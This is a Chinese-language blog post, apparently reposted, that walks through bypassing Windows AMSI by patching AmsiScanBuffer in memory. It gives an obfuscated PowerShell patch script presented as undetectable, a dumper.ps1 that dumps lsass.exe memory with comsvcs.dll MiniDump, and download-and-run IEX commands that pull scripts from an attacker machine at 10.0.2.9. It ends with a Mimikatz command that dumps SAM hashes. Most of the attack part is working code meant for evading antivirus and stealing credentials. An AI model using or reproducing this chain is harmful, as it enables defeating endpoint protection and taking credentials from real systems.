使用内存修补绕过 ASMI

admin 2024年3月1日10:21:47评论21 views字数 5918阅读19分43秒阅读模式

在我之前展示了如何通过 PowerShell 执行反向 shell,方法是拆分命令,在不同的作业下运行它们,并使用通配符绕过 AV 的检测。但是,这通常是不可能的 - 特别是如果命令字符串的一部分被称为恶意命令字符串,脚本正在尝试在内存中执行,或者脚本本身具有众所周知的恶意签名或函数。

当我们尝试在下面的受害者计算机上运行 Invoke-Mimikatz.ps1(即使使用不同的名称和方法)时,我们会遇到此问题。我们之所以被阻止,是因为有一种叫做反恶意软件扫描接口(AMSI)的东西。

使用内存修补绕过 ASMI

AV 阻止下载恶意 Mimikatz PowerShell 脚本

什么是AMSI?

Microsoft 实施了 AMSI 作为阻止恶意软件执行的第一道防线。由于扫描是基于签名的,因此红队和威胁行为者可以通过执行各种策略来逃避 AMSI。尽管一些处于原始状态的技术被阻止了,但对字符串和变量的修改、编码和混淆甚至可以恢复最古老的策略来实现绕过。这篇文章将介绍amsi.dll的内存补丁技术。关于AMSI如何工作的一些快速事实:

  • 155

  • 使用内存修补绕过 ASMI

  • AMSI 通过将 AMSI 的 DLL (amsi.dll) 加载到 PowerShell 的内存空间中来保护 PowerShell。

  • AMSI 保护不区分具有低权限的简单用户和强大的用户(如管理员)。

  • AMSI 使用 Windows Defender(或安装的其他 AV 程序)扫描 PowerShell 控制台输入,以确定是阻止有效负载操作还是允许其继续。

如何使用内存修补绕过 AMSI

使用内存修补绕过 ASMI 将允许我们在修补后在 PowerShell 中运行恶意脚本,并且不会在同一powershell.exe会话中被 AV 检测到。可在此处找到此漏洞的默认 ASMI PowerShell 脚本:

但是,当我尝试运行它时,AV 很容易检测到这个默认补丁:

使用内存修补绕过 ASMI

amsi.dll内存绕过脚本失败

让我们回顾一下amsi.dll的实际工作原理:

在amsi.dll中,负责检查恶意内容的函数是 AmsiScanBuffer() 和 AmsiScanString()。AmsiScanString() 是一个小函数,它在下面使用 AmsiScanBuffer()。因此,如果我们可以绕过 AmsiScanBuffer() 执行的检查,我们也可以绕过 AmsiScanString()。

绕过漏洞的基本原理是这样的:

1. 加载amsi.dll(打开 PowerShell 会话时自动发生)

2. 修补 AmsiScanBuffer() 函数,使其始终返回AMSI_RESULT_CLEAN。这允许 PowerShell 会话中的任何命令在执行时不会被 AMSI 阻止。

让 Rastamouse 的 AmsiScanBufferBypass 再次工作

当我需要绕过 AMSI 时,我倾向于使用 RastaMouse 的 AmsiScanBufferBypass。Rastamouse 有几篇博客文章,涵盖了......

fatrodzianko.com

https://fatrodzianko.com/2020/08/25/getting-rastamouses-amsiscanbufferbypass-to-work-again/

值得庆幸的是,有无数的指令可用于覆盖 AmsiScanBuffer() 的开头以返回我们需要的结果。我使用上面的资源开始开发一种方法来更改默认脚本以允许执行我们的绕过。

在程序集级别,我们希望将0x80070057放入 eax 中,然后绕过执行实际扫描的分支。0x80070057 是 E_INVALIDARG 的 HRESULT 返回代码。实际扫描结果为 0 — 通常解释为 AMSI_RESULT_CLEAN!因此,这意味着我们只需更改上面默认代码中的 $Patch 变量,使内存空间随机执行某些操作(以避免任何签名检测),然后在最后将0x80070057返回到 eax 中。

我选择做以下事情来打破 AV 正在寻找的签名,但这可以通过多种方式完成:

  • 将 EAX 移动到地址0x20170057

  • XOR eax 带 0x1d34538a 返回 0x3d2353dd(十进制1025725405)

  • 将 0x42E3AC7A(十进制为 1122217082)添加到 XOR 的结果中。这等于 0x80070057(小数点为 2147942487),这就是我们需要的结果!

要获取字节数组中您决定实现的任何操作(add、xor、sub、mov 等)的操作码汇编指令,请使用以下命令:

在线 x86 和 x64 英特尔指令汇编程序

轻松找出 x86 ASM 指令汇编到哪些字节。

defuse.ca

https://defuse.ca/online-x86-assembler.htm

将我上面的过程放入组装中是:

使用内存修补绕过 ASMI

查找补丁指令的字节数组

现在,我将上面的新 Array Literal 复制并粘贴到脚本中,应该能够直接运行更改的 amsibypass.ps1 脚本。

使用内存修补绕过 ASMI

另一个amsi.dll内存绕过脚本故障

在上面,我在没有调用 Mimikatz 的情况下测试了脚本,即使使用我的新补丁说明,AV 仍然捕获了绕过尝试。对于某些会话,它是 $Win 32 变量,对于其他会话,它是 $Patch 变量或 Copy 参数。这意味着是时候实现一些老派的混淆了——我几乎更改了 $Win 32、$Patch、$Address、$test、$test 2 和 $p 的所有变量名称。你可以随心所欲地制作这些,我用愚蠢的名字替换了它们,因为我感到沮丧并且不够关心将它们制作成随机十六进制编码的字符串(我应该这样做)。

此外,Linux 上的 Geany 应用程序对于快速查找和替换字符串非常有帮助:

使用内存修补绕过 ASMI

在 Linux 上从脚本中查找和替换 Geany

我发现这仍然不适合执行绕过 - 因此我还用一些 PowerShell 命令参数替换了单独定义的变量。在这里阅读:

F#ck AMSI!如何绕过反恶意软件扫描界面并感染 Windows

编辑描述

hackmag.com

https://hackmag.com/security/fck-amsi

我添加/更改了我发现标记 AMSI 的这 4 个命令:

  • $replace = ‘VirtualProtec’

  • [Win32]::(‘{0}{1}’ -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)

  • $marshalClass = [System.Runtime.InteropServices.Marshal]

  • $marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)

这样可以避免在命令中使用 VirtualProtect,避免将 System.Runtime.InteropServices.Marshal 与 Copy 命令一起使用,从而中断修补程序尝试的签名检测。

测试我的 AMSI 绕过脚本

为了进行测试,我通过发送“Invoke-Mimikatz”来验证 AV 是否已打开,该“Invoke-Mimikatz”将 AMSI 标记为应有的。然后,运行 amsibypass.ps1 并运行相同的命令,并查看是否允许字符串通过!现在是时候把它变成一个漏洞了。

使用内存修补绕过 ASMI

BitDefender 的 AMSI 绕过

我新的和无法检测到的 AMSI 绕过脚本在这里:

$c = ‘t’
$Win32 = @”
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport(“kernel32”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32”)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(“kernel32”)]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
“@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = ‘VirtualProtec’
[Win32]::(‘{0}{1}’ -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)

[INSERT WHATVER PS COMMAND YOU WANT HERE]

在绕过后制作 PowerShell 漏洞

现在我们可以成功执行绕过,我们应该在 PowerShell 中执行哪些恶意操作?例如,如果我们被提升到“nt authority system”,我们可以执行一个命令,该命令将从攻击者的计算机下载并执行 dumper.ps1 文件。该文件可以检索lsass.exe PID,然后使用 PID 使用 Living-Off-The-Land 二进制文件 (LOLBins) 将lsass.exe进程转储到 C:windowstemp 文件夹。无需使用 mimikatz!

但是,在我的受害者身上,我只有一个中等完整性外壳的管理员立足点。因此,我将最后使用恶意代码执行 amsibypass.ps1,该代码会将 Invoke-Mimikatz.ps1 加载到当前会话中,提升我的令牌,并为系统或域用户转储 NTLM 哈希。

dumper.ps1 (如果是 nt authoritysystem):

$processName = “lsass.exe”
$pd = Get-WmiObject Win32_Process | Where-Object { $_.Name -eq $processName } | Select-Object -ExpandProperty ProcessId

rundll32.exe C:windowssystem32comsvcs.dll MiniDump $pd C:windowstempdump.dmp full

此行将位于我的 amsibypass.ps1 脚本的末尾,用于从攻击者计算机获取并执行 dumper.ps1:

(New-Object System.Net.WebClient).DownloadString(‘http://10.0.2.9/dumper.ps1') | IEX

Invoke-Mimikatz.ps1(如果是管理员):

Invoke-Mimikatz/Invoke-Mimikatz.ps1 在 master ·g4uss47/invoke-mimikatz

Powershell Mimikatz 加载器。通过在 GitHub 上创建一个帐户来为 g4uss47/Invoke-Mimikatz 开发做出贡献。

github.com

https://github.com/g4uss47/Invoke-Mimikatz/blob/master/Invoke-Mimikatz.ps1

此行将位于我的 amsibypass.ps1 脚本的末尾,用于从攻击者计算机获取并执行 Invoke-Mimikatz.ps1:

(New-Object System.Net.WebClient).DownloadString(‘http://10.0.2.9/Invoke-Mimikatz.ps1') | IEX

把它们放在一起

为了远程执行 AMSI 绕过,我在攻击者计算机上将 amsibypass.ps1 脚本托管为 ammy.ps1,并执行了以下命令。我确保在脚本末尾添加我的 Invoke-Mimikatz 下载命令以节省时间。请务必在 amsibypass.ps1 脚本中将 Invoke-Mimikatz.ps1 的名称更改为其他名称(如 IM.ps1),否则将标记整个脚本。然后,我对受害者执行了以下命令:

iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire “iex(New-Object System.Net.WebClient).DownloadString(‘http://10.0.2.9/ammy.ps1')”

受害者从我们的 python http 服务器抓取 PowerShell 脚本

该命令最初获取我们的 ammy.ps1 脚本,然后从攻击者计算机中获取我们的 IM.ps1 脚本。在受害者身上,我们收到“True”的输出,这意味着它起作用了!

将 Mimikatz 加载到当前会话中后,我转储了管理员哈希值和任何其他可能用于单个命令横向移动的哈希值。

Invoke-Mimikatz -Command ‘“token::elevate” “lsadump::sam”’

从这里开始,我们可以在当前会话中执行任何操作,例如使用众所周知的恶意自动工具进一步枚举系统,或者使用 Empire 执行 UAC 绕过以实现高完整性管理员会话。我希望你喜欢这篇文章!

  • ()

  • 使用内存修补绕过 ASMI

  • windows

  • 使用内存修补绕过 ASMI

  • windows()

  • 使用内存修补绕过 ASMI

  • USB()

  • 使用内存修补绕过 ASMI

  • ()

  • 使用内存修补绕过 ASMI

  • ios

  • 使用内存修补绕过 ASMI

  • windbg

  • 使用内存修补绕过 ASMI

  • ()

  • 使用内存修补绕过 ASMI使用内存修补绕过 ASMI使用内存修补绕过 ASMI

  • 使用内存修补绕过 ASMI

  • 使用内存修补绕过 ASMI

  • 使用内存修补绕过 ASMI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月1日10:21:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用内存修补绕过 ASMIhttp://cn-sec.com/archives/2536219.html

发表评论

匿名网友 填写信息